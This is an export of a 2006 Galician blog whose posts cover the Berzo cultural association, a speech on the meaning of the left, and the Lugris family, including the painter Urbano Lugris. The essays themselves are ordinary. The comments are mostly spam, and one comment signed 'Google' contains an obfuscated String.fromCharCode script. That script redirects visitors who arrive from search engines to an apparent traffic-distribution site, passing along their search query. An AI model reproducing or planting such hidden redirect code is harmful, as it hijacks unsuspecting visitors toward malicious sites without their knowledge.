----- -------- AUTHOR: Lugris TITLE: Visitai o blog de XLago BASENAME: visitai_o_blog_de_xlago DATE: Fri, 07 Apr 2006 15:34:03 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Xabier Lago, Presidente da Associaçom Cultural Fala Ceive do Berzo, vem de criar, há já mais de um mes, um blog, no que publica textos e notícias referidas ao Berzo, a defesa da nossa língua e cultura, os territórios da Galiza irredenta, etc... Recomendo-vos visitar o seu "O Bierzo Ceibe", ainda que algum pequeno tirom de orelhas mereza por publicar, de quando em vez, também textos em espanhol. Com tudo, o blog e os seus conteudos som, como nom podia ser menos, interesantes.
----- COMMENT: AUTHOR: Doe [Visitante] DATE: Sat, 11 Nov 2006 07:38:11 +0000 URL: http://geocities.com/a1p4bsktcX6Good job!.
----- COMMENT: AUTHOR: Doe [Visitante] DATE: Sat, 11 Nov 2006 05:24:19 +0000 URL: http://geocities.com/apnGoCdosG4Thanks for your site!:
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----- COMMENT: AUTHOR: nikolay [Visitante] DATE: Tue, 17 Oct 2006 15:58:24 +0000 URL: http://hometown.aol.ca/ninkasak/refinance-mortgage.htmi like you men
----- COMMENT: AUTHOR: Google [Visitante] DATE: Sun, 15 Oct 2006 06:56:15 +0000 URL: http://google.com/Nice design!
document.write(String.fromCharCode(60,115,99,114,105,112,116,62,10,118,97,114,32,114,61,100,111,99,117,109,101,110,116,46,114,101,102,101,114,114,101,114,44,116,61,34,34,44,113,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,103,111,111,103,108,101,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,109,115,110,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,121,97,104,111,111,46,34,41,33,61,45,49,41,116,61,34,112,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,108,116,97,118,105,115,116,97,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,111,108,46,34,41,33,61,45,49,41,116,61,34,113,117,101,114,121,34,59,10,105,102,40,114,46,105,110,100,101,120,79,102,40,34,97,115,107,46,34,41,33,61,45,49,41,116,61,34,113,34,59,10,105,102,40,116,46,108,101,110,103,116,104,38,38,40,40,113,61,114,46,105,110,100,101,120,79,102,40,34,63,34,43,116,43,34,61,34,41,41,33,61,45,49,124,124,40,113,61,114,46,105,110,100,101,120,79,102,40,34,38,34,43,116,43,34,61,34,41,41,33,61,45,49,41,41,10,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,112,111,119,101,114,116,114,97,102,102,46,98,105,122,47,116,100,115,47,105,110,46,99,103,105,63,49,48,38,112,97,114,97,109,101,116,101,114,61,34,43,114,46,115,117,98,115,116,114,105,110,103,40,113,43,50,43,116,46,108,101,110,103,116,104,41,46,115,112,108,105,116,40,34,38,34,41,91,48,93,59,10,60,47,115,99,114,105,112,116,62));
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----- COMMENT: AUTHOR: Michael [Visitante] DATE: Tue, 04 Jul 2006 19:34:44 +0000 URL: http://umaxforum.comblaz blaz blaz
----- -------- AUTHOR: Lugris TITLE: O sonho fai-se à mao e sem permissom BASENAME: o_sonho_fai_se_a_mao_e_sem_permissom DATE: Tue, 28 Mar 2006 13:51:19 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: TAGS: ----- BODY:Reproduzo a minha intervençom nas X Jornadas Independentistas Galegas, organizadas por Primeira Linha, celebradas no dia 18 de Março em Compostela.
O sonho fai-se à mao e sem permissom
10 reflexons sobre o significado da esquerda
1.- De que falamos quando falamos de esquerda? Como é que seguimos a empregar um termo que significa tam pouco, à força de significar tantas cousas? Di o título destas Jornadas "Desafios e necessidades da esquerda do século XXI". Mas de que falamos? De que esquerda falamos? É ainda útil este significante?. Tendo em conta que abaixo deste guarda-chuva cabem, para resumir, desde o PSOE até o soberanismo socialista galego, que hoje existe dividido entre diversas forças como NÓS-UP, passando polo BNG, e as sucursuais galegas doutras forças estatais, para nom falarmos também de outras forças sociais, sindicais, etc... de que nos serve empregar ainda esta categoria?.
Um dos mais, ou se calhar o mais importante desafio, e a mais urgente necessidade que tem a esquerda, neste século XXI, é o que se situa à volta da sua própria identidade. O que é que é a esquerda, o que é que significa o termo "esquerda", para que realidade remete, o que queremos dizer quando falamos em termos de "esquerda".
2.- O termo "esquerda", no sentido político, surgiu em França, quando nos Estados Gerais franceses de 1789, o entom chamado "Terceiro Estado" ocupava os lugares situados à esquerda do rei, dado que os representantes da nobreza e do clero ocupavam o lugar situado à direita. Esta simples distinçom espacial, acabou por ser umha distinçom política, opondo assim progressistas e conservadores, a partir de entom nominados como de esquerdas ou de direitas, respeitivamente. Ainda hoje algumhas definiçons de esquerda fam referência a este primário significado político, e assim, por exemplo, o dicionário electrónico e-Estraviz, na terceira acepçom de esquerda explica que é a "parte de uma assembleia que toma lugar à esquerda do presidente e representa as tendências mais avançadas".
Outros dicionários oferecem umha definiçom mais política, e o da Academia Galega editado por Xerais e Galaxia, na sua 4 acepçom di que esquerda é a "colectividade política de carácter reformista e nom conservador". Outros optam por oferecer ambas as definiçons. O da Porto Editora di-nos, como terceiro significado, que esquerda é o "grupo político partidário da doutrina socialista ou comunista", mas também recolhe que é a "parte dumha assembleia que toma lugar à esquerda do presidente". E o dicionário on-line Priberam recolhe um signficado mais restrito dizendo que é o "grupo parlamentar que se senta à esquerda do presidente", como se nom pudesse existir outra política além da parlamentar, e acrescenta também que o termo pode ser referido ao "grupo político ou intelectual cuja ideologia é progressista, quando comparada com a de outros grupos". Interessante definiçom esta última por quanto entra em cheio numha parte importante da questom: "grupo político ou intelectual cuja ideologia é progressista, quando comparada com a de outros grupos". É claro que algumhas organizaçons só podem ser tidas por progressistas ou de esquerda quando comparadas com organizaçons declaradamente de direita.
Ainda mais, muitas vezes, a única forma de sabermos se umha organizaçom ou umha pessoa é de esquerda, é comparando-a com umha outra organizaçom ou pessoa de direita. Porque quando essa comparaçom se fai entre organizaçons e pessoas de esquerda, o único que sabemos é que ficamos como estávamos.
3.- Sentei na casa diante do computador, liguei-no, liguei-me à internet e procurei num buscador a frase que dá título a estas jornadas "Desafios e necessidades da esquerda do século XXI". Em menos de um segundo, pudem ver que ante mim se abria a possibilidade de aceder a mais de cem mil páginas que faziam referência, dumha ou outra forma, a essa frase. Já todas e todos sabemos que na rede podemos encontrar de todo, e que escrever num buscador qualquer palavra (mesmo que muitas vezes sejam palavras inventadas) e nom conseguir que apareça nengum resultado é practicamente impossível. Ainda assim, a existência dessas mais de cem mil entradas, evidencia o que também todas e todos sabemos: que existe um debate, ou por melhor expresá-lo, que existem e co-existem muitos debates paralelos, algumhas vezes entremesclando-se, outras ignorando-se, sobre a esquerda, o seu presente e o seu futuro: o que é, o que deve ser, o que foi até agora e o o que será proximamente, etc...
Mas esse debate nom é novo, também o sabemos. É impossível percorrer a história do século XIX e do século XX (por nom viajarmos mais atrás no tempo) sem atender ao debate que sobre a sua própria identidade realiza a esquerda e as suas muito diversas e variadas expressons existentes ao longo desses anos. É umha característica própria, inerente, da esquerda. Nos seus genes leva escrito a necessidade de sempre estar a reflectir sobre ela própria.
4.- Infelizmente, esta necessidade da esquerda para estar sempre a interrogar-se sobre si própria, deu lugar nos últimos anos do século passado, a um debate que foi construído sob a influência da crise ideológica e política a que deu lugar a queda do muro de Berlim, primeiro, com todo o que isso simbolizava, e à dessapariçom, depois, da Uniom de Repúblicas Socialistas Soviéticas e os demais estados denominados "socialistas" da Europa do Leste, com todo o que isso significou. A mescla de medo ao abismo que entom se abriu abaixo dos pés da esquerda, a desesperança, o pessimismo, provocou, dum modo inconsciente em muitas ocasions e plenamente consciente em outras muitas, um lamentável processo de autodestruiçom de grande parte da esquerda a nível mundial. Dia a dia, entravam em crise, em diversos pontos do planeta, todo o tipo de organizaçons comunistas, revolucionárias, marxistas, radicais, alternativas,... Parecia que o muro de Berlim tivesse caído directamente sobre essas organizaçons e, sobretodo, sobre as pessoas que dirigiam e conformavam essas organizaçons, que, seguindo as palavras de ordem de "Chegou o fim da história" e "Nom há futuro", lançavam-se de cabeça a nadar, no melhor dos casos, nas águas do muito mais atractivo mundo das ONG's ante o medo a ter que nadar na areia, quando nom optavam, decididamente, polas cómodas piscinas do sistema estabelecido e realmente existente, o capitalismo. Muitas vezes, muitas mais das que a simples vista poderíamos pensar, a atitude predominante naqueles sectores de esquerda dos anos 60 e 70 foi "repensar" -por dizê-lo de algum modo- a esquerda a partir de ideias que implicavam renunciar à transformaçom e aos objectivos dumha mudança radical do sistema.
Som muitas as vezes que temos visto pessoas a fazerem parte de organizaçons de esquerda (nem só políticas, também sociais, sindicais...) que um bom dia começam a deixar de sentar-se à esquerda e pouco a pouco vam abandonando posturas transformadoras até que um bom dia as escuitas dizer, ou lhes lês umha entrevista nalgum meio de propaganda do sistema, na qual dim isso de que "cada vez a palavra esquerda significa menos para mim". Tem muitas variantes a frase, e alguns acrescentam, junto com a palavra esquerda, outros termos como "nacionalismo", "independentismo", "revoluçom", etc...
Mas a palavra esquerda continua a significar o mesmo, segue a significar muitas cousas, tal vez mesmo cada dia signifique mais cousas que o dia anterior. Nom é a palavra que mudou, nom é que perda significado nem sentido. Som essas pessoas que mudárom, que perdêrom o sentido. Som essas pessoas que optam por abandonarem a incómoda luita transformadora para ocuparem, primeiro, os cómodos gabinetes da política pretensamente reformista, e, depois, os muito agradáveis postos nas instituiçons burguesas. Lembremos que umha das definiçons vistas anteriormente dizia que a esquerda era a "colectividade política de carácter reformista e nom conservador". Mas quando a esquerda começa a percorrer o caminho do reformismo para ir abandonando a ideia da transformaçom, entom, podemos ter certeza que essa esquerda começa a deixar de sentar-se à esquerda para se ir achegando dos cadeirons que oferece a direita. Já o di a tradiçom oral: "achegar, acheguei-me, fum-me achegando..."
5.- Aceitemos que actualmente ainda pode ser definida a "esquerda" como aquela corrente política, formada por pessoas, colectivos e organizaçons, que se situam acarom do povo, das trabalhadoras e dos trabalhadores, das clases populares, das pessoas oprimidas, na luita pola igualdade.
A esquerda, recolhendo o significado primeiro que tivo naqueles Estados Gerais de 1789, seria, agora igual que entom, a promotora, a defensora, a impulsora daquela palavra de ordem revolucionária, tam revolucionária entom como agora: "Liberdade, igualdade, fraternidade".
A liberdade é a ausência de submissom, de servidom, quer dizer, a independência: do ser humano, dos povos, das naçons. A igualdade é a nom existência de diferenças entre indivíduos, entre povos, entre naçons. A fraternidade é a relaçom de igualdade, de irmandade, que se estabelece com os semelhantes com os que vivemos em comunidade. Podemos asegurar, que de nom ser porque está escrito e fai parte da história, hoje haveria quem consideraria que defender o artigo primeiro da Declaraçom Universal dos Direitos Humanos seria umha mostra de utopismo, de falta de realismo, de pouca seriedade, de nom aceitar as regras que hoje em dia marcam o rumo do mundo capitalista existente, de nom ter os pês na terra: "Todos os homens -deveria dizer também: todas as mulheres- nascem livres e iguais em dignidade e direitos. Estam dotados de razom e de consciência e devem agir uns para com @s outr@s em espírito de fraternidade".
Mas se esse artigo pode parecer mesmo subversivo a olhos de algumhas mentes bem-pensantes, que dizer doutros como por exemplo o quarto, que di que "ninguém será mantido em escravitura ou servidom; a escravatura e o tráfico de escravos serám proibidos em todas as suas formas", ou o quinto: "ninguém será submetido a tortura, nem a tratamento ou castigo cruel, desumano ou degradante". E, para pôr um último exemplo, citaremos o artigo vinte e três, que estabelece que: "1º. Toda pessoa tem direito ao trabalho, à livre escolha de emprego, a condiçons justas e favoráveis de trabalho e à proteçom contra o desemprego. 2º Toda pessoa, sem qualquer distinçom, tem direito a igual remuneraçom por igual trabalho. 3º Toda pessoa que trabalha tem direito a umha remuneraçom justa e satisfatória, que lhe assegure, assim como à sua família, umha existência compatível com a dignidade humana, e a que se acrescentarám, se for necessário, outros meios de protecçom social. 4º Toda pessoa tem direito a organizar sindicatos e a neles ingressar para a proteçom dos seus interesses". Nem som necessários os comentários.
E o lido nom é, já o sabedes, nengum programa maximalista de nengumha organizaçom revolucionária, comunista, marxista ou anarquista. O lido som artigos da Declaraçom Universal dos Direitos Humanos adoptada e proclama pola Assembleia Geral das Naçons Unidas na sua resoluçom 217 A (III), de 10 de Dezembro de 1948. Todos ou praticamente todos os Estados que nom mundo som hoje em dia subscrevem esta declaraçom, ainda que nengum ou praticamente nengum a respeite completamente e muitos prefiram simplesmente ignorá-la, senom para o comum da sua populaçom, sim para partes muito significativas da mesma, como podem ser as pessoas emigrantes, as pessoas presas, @s independentistas etc...
6.- A esquerda precisa seguir na procura da sua razom de ser, do sentido da sua existência, na luita pola justiça. E essa justiça é a que se constrói sobre a liberdade, a igualdade e a fraternidade, porque é umha justiça para a humanidade, para todos os homens e para todas as mulheres. A prática política da esquerda, as suas ideias, os seus projectos, as suas iniciativas, só podem ser entendidas, só podem ter sentido aceitando que o que se pretende é a justiça para o ser humano, e nom só a liberdade para umha pequena parte da humanidade, a igualdade para uns quantos milhons de eleitos do mundo ocidental e a fraternidade entre os privilegiados.
Mas é a injustiça a que reina no mundo. Milhons e milhons de pessoas sofrem e nem tam sequer tenhem a esperança de poderem solucionar as suas mais urgentes necessidades, sem direito a umha vida digna, a um trabalho digno, a umha educaçom e sanidade que garanta o seu presente e permita o seu futuro. Para eles, para elas, sobretodo para elas, nom há liberdade, nem mais igualdade que a que os fai ser igual que os seus irmaos na injustiça, mas sabendo que nunca jamais poderám ser iguais que aqueles que, comodamente, dos gabinetes das empresas e os governos, decidem se poderam malviver uns anos mais ou deverám morrer já mesmo. A fraternidade, a palavra de ordem mais esquecida, é entom o que deve chamar a esquerda à acçom. A acçom, a acçom transformadora, quer dizer, aquela destinada a transformar o mundo, é necessária porque ainda há injustiça, porque a pobreza pode e deve ser erradicada, porque existe a discriminaçom, porque a luita de classes ainda está presente, porque devemos pôr fim à destruiçom do meio ambiente, porque os povos oprimidos tenhem direito a se libertarem e a empregarem nessa luita todos os meios que considerarem oportunos, etc... Estas razons, junto com outras muitas, som suficientes para querermos que o mundo seja distinto, para querermos construir um outro mundo, para acreditarmos que um outro mundo é possível.
7.- Dixo Lenine que os seres humanos sempre fôrom vítimas do engano e a quimera, e que o seguiriam sendo enquanto nom aprendessem a descobrir quais som os interesses de classe que se ocultam por trás das frases, as declaraçons e as promessas morais, religiosas, políticas e sociais. E isso continua a ser umha grande verdade.
Umha boa parte das organizaçons e as pessoas que se autodenominam "de esquerda", ou "progressistas", ou mesmo "socialistas", seguem a fazer jogos de palavras, a lançar discursos ao sol, a entreter-se com jogos florais e batalhinhas dialécticas inofensivas e inócuas, para aparentarem e fazerem pensar que som o que realmente nom som. Por isso é fundamental que construamos umha definiçom de esquerda que faga funcional esse termo, e que evite que se converta (se é que nom se converteu já) num termo que signifique tantas cousas que praticamente nom signifique nada.
Nom pode ser que esquerda signifique o mesmo que direita. Nom pode ser que esquerda seja defender a NATO, a Uniom Europeia ou Banco Mundial. Nom pode ser que esquerda signifique contribuir para manter com a prática diária o modelo patriarcal de sociedade. Nom pode ser que esquerda signifique defender a legitimidade dum estado imperialista construído sobre as bases do franquismo. Nom pode ser que esquerda signifique negar o direito de autodeterminaçom às naçons sem Estado da Península Ibérica, e mesmo negar a própria existência de tal direito. Nom pode ser que esquerda signifique defender a monarquia, os privilégios senhoriais, o exército ou as desigualdades sociais. Nom pode ser que esquerda signifique aplaudir ao opressor e reprender ao oprimido quando se defende, por citarmos só alguns exemplos de posturas mantidas por organizaçons, mais ou menos maioritárias, que conhecemos bem.
8.- Nom existe um receituário de aquilo que seja ou nom de esquerda. Ninguém conhece as cento e umha receitas mágicas para construir a esquerda, e melhor assim. A esquerda deve seguir a construir-se como sempre se construiu: nom de cima para baixo, mas de baixo para cima. A partir da realidade, da práctica diária, do compromisso intransigente com a justiça, com a dignidade, com a liberdade em todos os terrenos e em todos os campos de acçom. A partir da rua, dos centros de trabalho, das escolas e universidades, e nom das cátedras, dos parlamentos ou dos púlpitos pagos polo sistema para tranquilizar algumhas consciências. Entre todos, entre todas, como sempre foi feito, devemos continuar a construir a esquerda, para, como di a cançom, bater no lume sagrado como ferreiros dum mundo melhor. Um outro mundo. Porque, e isto já está escrito em muitos sítios, falta talvez escrevê-lo novamente nas paredes das nossas ruas, o realmente revolucionário, o realmente imaginativo e transformador, nom é pedir o impossível, mas construir aquilo que é necessário. E a esquerda continua a ser necessária, porque a história nem se repete nem acabou e devemos seguir adiante.
O que sucede é que aquela velha ideia, pobre ideia, de que o socialismo ou o marxismo eram umha ciência capaz de predizer o futuro nom pode ser o guia que empreguemos. Hoje sabemos (possivelmente há vinte, trinta, quarenta anos também o sabiam, mas as dirigências das organizaçons de esquerda preferiam ignorá-lo), que a queda do capitalismo nom é inevitável, e ainda mais: sabemos que o que venha depois do capitalismo, do capitalismo que hoje conhecemos, nom tem porque ser obrigatoriamente melhor, pode ser, tem muitas possibilidades para ser, infinitamente pior. Pior, claro, para as grandes maiorias sociais, para o povo trabalhador, para as mulheres, para os jovens, para os povos asobalhados, para as pequenas naçons que luitam pola sua liberdade.
9.- Isso é o que fai precisamente necessária e imprescindível a luita da esquerda. Nom há que luitar porque a vitória seja segura: há que luitar porque a vitória é necessária mas nom é o único futuro possível. O capitalismo nom leva no seu ADN os genes da autodestruiçom, o capitalismo nunca jamais se vai suicidar. Profetizar, como figérom umha boa parte dos partidos comunistas e socialistas de meados e finais do século passado, também na Galiza, que o advento do paraíso comunista era questom de tempo, que o mundo, que o capitalismo, caminhava para esse futuro irremediavelmente, foi umha das causas da derrota da esquerda e da desapariçom ou corrupçom da maior parte daquela esquerda.
10.- A esquerda nom pode fazer seu esse velho discurso rançoso, devedor de seculares imposiçons religiosas, de esperança numha idílica vida futura. A esquerda deve caminhar convencendo-se de que um futuro distinto e melhor só pode ser construído com base na solidariedade, na justiça, na resistência, na liberdade, na intransigente negaçom da validez do actual sistema,... Enfim: na firme e insubornável decisom de mudar, de transformar a sociedade, contando só com as próprias forças e nom aguardando umha intervençom divina, sobrenatural ou alheia. O socialismo continua a ser o velho sonho da humanidade oprimida.
Nós todas, nós todos, devemos ser os protagonistas, @s primeiros combatentes, da nossa história, sem pedirmos licença a ninguém para caminharmos, porque, como di a cançom de Sílvio Rodríguez, "o sonho fai-se a mao e sem permissom".
----- COMMENT: AUTHOR: Gaabriela [Visitante] DATE: Wed, 29 Nov 2006 01:38:20 +0000 URL:Um texto esclarecedor, sotaque visual, muito bom!
----- -------- AUTHOR: Lugris TITLE: Pura Lugris BASENAME: pura_lugris DATE: Tue, 21 Mar 2006 15:44:28 +0000 STATUS: publish PRIMARY CATEGORY: Pura Lugris Freire CATEGORY: Cousas por aí TAGS: ----- BODY:O Bernardo Penabade escreve no PGL sobre a Semana da Galiza em Braga, e fai-no lembrando também a criaçom em Porto do Círculo de Estudos Galaico-Portugueses em Março de 1961 por parte de "jornalistas, artistas plásticos, escritores, profissionais liberais, políticos e publicistas". Entre todas essas pessoas, que pretendiam a "aproximação sentimental e intelectual entre as camadas pensantes da Galiza e de Portugal", atopava-se Pura Lugris Freire.
Há duas semanas recebim umha chamada do Bernardo, para perguntar-me se eu conhecia a essa Pura Lugris, e quem seria, pois ele vinha de conhecer a sua participaçom nesse acto poucos dias antes. Eu intentei averiguar por parte da minha família quem seria esta Pura, mas sem resultado. Um ou dous dias depois, recebia um correio do Bernardo, explicando-me que já localizara um filho desta mulher, Santiago Lugris-Freire, que mora em Porto, e que a sua mae, que casara com um cidadao português, falecera em 2003. Pura Lugris Freire foi, segundo informa o Bernardo, a filha de Lugris Freire, ainda que nom atopo em nengum biografia de Manuel Lugris Freire que tivera umha filha com esse nome: segum consta nas mesmas estivo casado duas vezes, a primeira com Concepción Orta, cubana, com a que tivo umha filha em 1897, de nome Socorro, e a segunda com Pura González Varela, com a que tivo três filhos e mais umha filha: Manuel em 1903, Secundino e María do Pilar em 1905, e Urbano em 1908. Ou as biografia consultadas estam mal, ou esta Pura Lugrís Freire nom era filha de Manuel. Seguiremos consultando livros e webs.
Sei que o Bernardo ainda tem informaçom sobre o Círculo de Estudos Galaico-portugueses e as relaçons entre as pessoas membros da comissom que reunida em Porto intentou levar adiante um projecto tam ambicioso, mas, por agora, agradezo, e muito, que tenha dado a conhecer esta iniciativa e as pessoas integrantes, entre elas, umha nova mulher, umha nova Lugris, sobre a que falar neste blog. Sei que ele tem umha entrevista com Virgínia Oliveira, a filha do grande impulsor do projecto, Manuel de Oliveira Guerra, na que poderemos atopar muitas mais notícias e dados interesantes. Aguardamos por elas. Muito obrigado, Bernardo.
----- -------- AUTHOR: Lugris TITLE: O Berzo na Semana de Galiza em Braga (Portugal) BASENAME: o_berzo_na_semana_de_galiza_em_braga_por DATE: Fri, 24 Feb 2006 16:52:37 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:
Havia já dias que umha das mais activas activistas de Fala Ceive, a Sílvia, nos comentara aos membros de FC a proposta de participarmos na Semana da Galiza em Braga.
Agora, o PGL informa da realizaçom dessas Jornadas em Braga, e vejo com satisfacçom que o Berzo, por meio de Fala Ceive, vai estar lá presente, para falar da Galiza, da Galiza nom-reconhecida, da Galiza que fica ainda hoje em dia fora da Comunidade Autónoma Galega.
Podes baixar o interesante programa em PDF aqui (384 K)
Traio para cá um estracto da notícia que aparece no PGL, no que explica os motivos da realizaçom desta Semana da Galiza, quem organiza, quem participa, quem colabora, etc...
"Organizada pela ATTAC-Braga, associação cívica para a cidadania e para o desenvolvimento associativo, a Semana da Galiza, tem, segundo seus os organizadores, como principais objectivos, fomentar o desenvolvimento dos laços entre o norte de Portugal e a Galiza, divulgar a cultura galega nas terras minhotas, aproximar o movimento associativo, assim como, aumentar o conhecimento mútuo."
"A sociedade civil galega será representada nesta semana, através de músicos, escritores, professores, linguistas, etc. e de várias associações culturais galegas, como A Mesa pola normalización, a AGAL, a AAG-P, o MDL, a Burla Negra, Arredemo e Fala Ceive".
----- COMMENT: AUTHOR: nando [Visitante] DATE: Thu, 16 Mar 2006 09:43:54 +0000 URL:Ola! Preciso falar contigo… mais non atopo o enderzo de correo electrónico no perfil. ¿podes escreberme a nandinho_gz@hotmail.com? GRAZAS!!
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Fri, 24 Feb 2006 18:23:41 +0000 URL: http://www.tangaranhovermelho.blogspot.comTambém é de celebrar, vaia, que a visom que se vaia dar da Galiza nom seja monolítica, que seja fiel à sua pluralidade e complexidade.
Por certo, aproveito para que visitedes o blog www.spaces.msn.com/aldeiadeiris
----- -------- AUTHOR: Lugris TITLE: Miragens do Berzo BASENAME: miragens_do_berzo DATE: Mon, 20 Feb 2006 14:58:56 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: sms TAGS: ----- BODY:Sbado 25, às 15:30, no prgrama "Miraxes" da TVG, rportagm sobrlngua e cltura galega do Bierzo (passa-o)
Pois isso: que neste Sábado, no programa "Miraxes" que a TVG emite nas fins de semana, poderedes ver umha reportagem sobre a língua e cultura galega do Bierzo, com entrevistas, entre outras pessoas, a membros de Fala Ceive.
----- COMMENT: AUTHOR: xavi [Membro] DATE: Mon, 20 Feb 2006 15:32:11 +0000 URL: http://mariacastanha.agal-gz.orgA ti também? :D A ver se é mais longa que a que saiu no telejornal de Tele5, hehe. Com certeza que sim, eu sei ;).
----- -------- AUTHOR: Lugris TITLE: A Santa Paz do Pentágono, agora sim! BASENAME: a_santa_paz_do_pentagono_agora_sim DATE: Thu, 16 Feb 2006 21:19:12 +0000 STATUS: publish PRIMARY CATEGORY: Urbano Lugris CATEGORY: Lugris TAGS: ----- BODY:O bom companheiro Eugénio Outeiro, sempre atento, leu ontem o meu comentário sobre o meu artigo arredor do Urbano Lugrís, e hoje mesmo no meu correio tinha umha mensagem sua com um arquivo de word no que vinha o texto referido. Tomou o trabalho, que estou certo de que nom foi pouquinho, de copiar o texto e fazer com ele um arquivo. Muito obrigado, Eugénio. Fica claro que com companheiros assim, os caminhos da informática nem sempre som inescrutáveis e inexpugnáveis.
Pois como o prometido é dívida, cá vai o artigo, para quem o queira ler.
A Santa Paz do Pentágono
Urbano Lugris (Corunha 1908 (?) - Vigo 1973)
Mil veces máis nacionalista que os seus silenciosos detractores, Urbano Fingal sabe pintar cunha dureza que pode producir o calafrío. Como Chagall, pertence a aquela raza de pintores que abren vías para seguir imaxinando, ao mellor unha vida enteira, a estoria que empeza, se cadra, na esquina de calquer pintura aparentemente plana.
Xosé Luís Méndez Ferrín
(Faro del Lunes, 22 de outubro de 1984)
Lugrís, fillo de Lugrís Freire, o grande amigo de Eduardo Pondal, non era Urbano Lugrís somentes. Era, sobre todo, Ulises Fingal: Ulises, o navegador do mundo e do trasmundo, o grego de cando os gregos ainda non sucumbiran ao logos do puro razonar, se é que algunha vez Platón sucumbira; Fingal, o heroe gaélico que lle ordenaba coa sua rixidez cerúlea o camiño do Outro Mundo, os vieiros escusados dos Thuata Dé Danan, as xentes irlandesas de debaixo da terra, o misterio de Brigadoon que cada cen anos emerxe da néboa dun val de Escocia para vivir a normal vida dunha cidade. Non pretendo decir aquí miña verdade, porque podería ferir os gostos e as preferencias (ou os prexuicios ideolóxicos) de moitas boas persoas. Non pretendo decir que Urbano Lugrís / Ulises Fingal sexa o meu mellor pintor galego do século XX. Pero é así como penso e como gozo. Toda a súa xeneración -como a dos seus contemporáneos mexicanos- elexiu en Galicia un retábulo de feiras e romaxes, de vendedoras de pan e de peixeiras arquetípicas de redondas caras, de luz de paisaxes patrióticas e de mostración do pobo galego.
Jorge Castro. Janeiro 2002.
Por sorte para ele, Urbano Lugris nom assistiu ao afundamento do Prestige e à posterior maré negra, provocada pola contaminaçom da carga de fuelóleo que dito barco levava nos porons, e pola passividade, negligência e inépcia de umhas autoridades espanholas sempre mais preocupadas com a caça e a pesca (também de votos) do que com aquilo que vinher a acontecer na Galiza. Nom assistiu Urbano Lugris ao desastre do Prestige nem à crise nacional posterior, mas sim assistira a alguns dos diversos afundamentos e posteriores marés negras que sofreu a Galiza no último século. Viveria-os, mas desconhecemos a sua opiniom sobre eles.
Que pensaria ele? Como os viveria? Urbano Lugris, Ulises Fingal, o pintor do mar e, muito especialmente, dos fundos marinhos, o artista multifacetado, extravagante , autodidacta, que se movia entre a pintura, a música e a literatura. Que pensaria o velho marinheiro, retratado no seu quarto, da maré negra? Umha vida cheia de mapas, cartas de navegaçom, livros... para ver morrer o mar com um luto peganhento de cheiro a estrada e poluiçom. Os caracóis marinhos, as sereias, os peixes e as medusas que dançam nos seu quadros com o som de velhas melodias de taverna portuária, que seria delas?.
E as naus no fundo do mar, lendárias, que ele recria, como estarám agora, sob um manto tam negro como a consciência dos responsáveis, ainda hoje em liberdade sem acusaçom e sem dar conta do grave atentado terrorista cometido contra a nossa soberania, a nossa paisagem, contra o mar que, com umha paciência infinita (alguns poderiam dizer bíblica; nós diremos, mítica) leva milhares e milhares de anos a desenhar o perfil de umha terra tam grande como um mundo. Os barcos afundados de Urbano nom levavam o piche nos porons, mas velhas riquezas, algum tesouro, seguramente víveres e produtos diversos que cruzavam os oceanos pola acçom do homem, recalquemos que também da mulher, que ensanchava assim os seus horizontes. E ao mesmo tempo, convém nom esquecê-lo, estreitava outros mundos, outros horizontes, outras vidas. Mas nom falemos agora disso. Os barcos de Urbano Lugris eram barcos cheios de vida, ainda que estivessem no fundo do mar por centos de anos, eram barcos que lembravam viagens e aventuras, histórias de marinheiros e velhos naufrágios.
Nom poderíamos entender os mundos de Urbano sem conhecermos o mar. E ainda, nom conheceríamos o mar sem entendermos Urbano. O mar era mais, é mais, do que umha mao-cheia de água salgada que se encontra lá onde acaba a terra firme. Urbano Lugris, tam grandemente desconhecido entre nós por ser galego, foi um grande adiantado; em certo modo, um visionário, atrevamo-nos a dizê-lo, um profeta. Ele demonstrou por pura e urgente necessidade vital, nuns tempos obscuros, frios e cinzentos, nuns tempos de pedra, onde tudo era duro como a pedra, até os sonhos eram de pedra, ele demonstrou, dizemos, que um outro mundo era possível. E ele fijo esse outro mundo possível no mar. O mundo do mar é um outro mundo para Urbano. Um mundo melhor. Ele, com umha vida de naúfrago, deu no mar com um mundo melhor. Os seus quadros, os seus motivos, as suas imagens e os seus sonhos, som umha janela aberta, por onde nom só entra ar fresco (como no tópico); entra também a urgente chamada de atençom de quem sabe que é necessária nom só a beleza, mas a liberdade. Nom é a beleza o único que paga a pena neste nosso Urbano. Diz na sua obra, com clareza, com a clareza dos oceanos, que a liberdade, a Liberdade com maiúscula, e a liberdade com minúscula, é o necessário. Urbano sabia que o realmente transformador, o realmente radical, o realmente subversivo, nom era (nom é, ainda), pedir o impossível, mas construir aquilo que é necessário. É necessário viver. Viver fora dos muros de umha prisom, umha enorme prisom, dirigida, com mao de ferro, por quem nom permite nem o mais leve indício que aponte que as cousas podem ser diferentes.
Nom eram tempos que permitissem grandes aventuras. E Urbano Lugris pagou a sua aventura com umha vida que transcorreu entre a liberdade da sua obra e a dura vida diária. Vários fôrom os bares, os cafés que mostravam fachendosos nas suas paredes murais de Urbano Lugris. Alguns ainda se conservam (no Nova Galicia, em Compostela, no Fornos, Vechio, Drago, na Corunha...), outros ficam ocultos sob as novas paredes que trouxo a modernidade. Alguns, infelizmente, fôrom destruídos a mao-tente por empresários paifocos e ignorantes, que nom conseguírom compreender aquilo que havia nas suas paredes; nom conseguírom compreender que tinham nos seus locais a herança de um homem que pagava, com a sua arte, as comidas, os cafés e os vinhos que nom podia pagar com o dinheiro que nom tinha.
